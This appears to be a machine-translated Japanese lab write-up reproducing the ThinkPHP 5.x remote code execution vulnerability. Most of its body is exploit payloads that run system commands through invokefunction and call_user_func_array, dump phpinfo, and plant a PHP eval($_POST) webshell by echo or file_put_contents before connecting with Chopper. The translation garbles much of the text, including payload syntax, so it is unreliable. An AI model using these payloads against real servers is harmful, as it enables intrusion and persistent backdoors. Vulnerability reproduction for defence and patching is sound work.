ThinkPHP 5.xのリモートコマンド実行の脆弱性の再現
まず、脆弱性の説明
https://blog.thinkphp.cn/869075:2018年12月10日、ThinkPHPの関係者はThinkPHP5フレームワーク、リスクの高い脆弱性を修正するセキュリティ更新プログラムをリリース
その理由は、(デフォルトでオンになっていない)必須のオープンルートの非存在下で得られ、十分な試験なしフレームワークコントローラ名の脆弱性に起因する、リモートコード実行の原因になりかねない、影響を受けるバージョンは5.0と5.1を含みます。
第二に、欠陥がバージョンに影響します
Thinkphp 5.xの-Thinkphp 5.1.31
Thinkphp 5.0.xの<= 5.0.23
第三に、脆弱性の再現
1、公式Thinkphp 5.0.22、ダウンロードアドレスをダウンロード:http://www.thinkphp.cn/donate/download/id/1260.html
2は、phpstudy構築された環境を使用して、次のサイトのディレクトリにダウンロードThinkphp5.0.22を抽出し、ブラウザアクセスhttp://192.168.10.171/thinkphp5.0.22/public
システム機能のリモートコマンドの実行を使用して、3、
ペイロード次のように:
?S =インデックス/だと思う\アプリ/ invokefunction&機能= call_user_func_array&VARS [0] =システム&VARS [1] [] =にwhoami
4)(するphpinfoをするphpinfo関数を介して情報を表示します
ペイロード次のように:
?S =インデックスは/だと思う\アプリ/ invokefunction&機能= call_user_func_array&VARS [0] =のphpinfo&VARS [1] [] = 1
5、シェルを書きます
ペイロード次のように:
?S = /インデックス/ \ ^ [1] [] =エコー\アプリ/ invokefunction&機能= call_user_func_array&VARS [0] =システム&VARS考える<PHPの@Eval($ _ POST [CMD]);??^>> shell.php
注:^使用する必要があり、引用符(シングルと二重引用符)なしで出力文書にコマンド文字列エコー(道CMD環境下で脱出)、Windows環境を脱出し、一部の文字は特殊文字をコードしていないOK URLです。
正常に書き込まれている場合、シェルを参照するには6、
7、チョッパー接続
図8に示すように、シェルを書き込む第二の方法
ペイロード次のように:
?S =インデックス/だと思う\アプリ/ invokefunction&機能= call_user_func_array&VARS [0] =ますfile_put_contents&VARS [1] [] = .. / test.phpを&VARS [1] [] = <PHPの@Eval($ _ POST [テスト]);?>
ファイルが正常に書き込まれているかどうかを確認するために9
10、ナイフの接続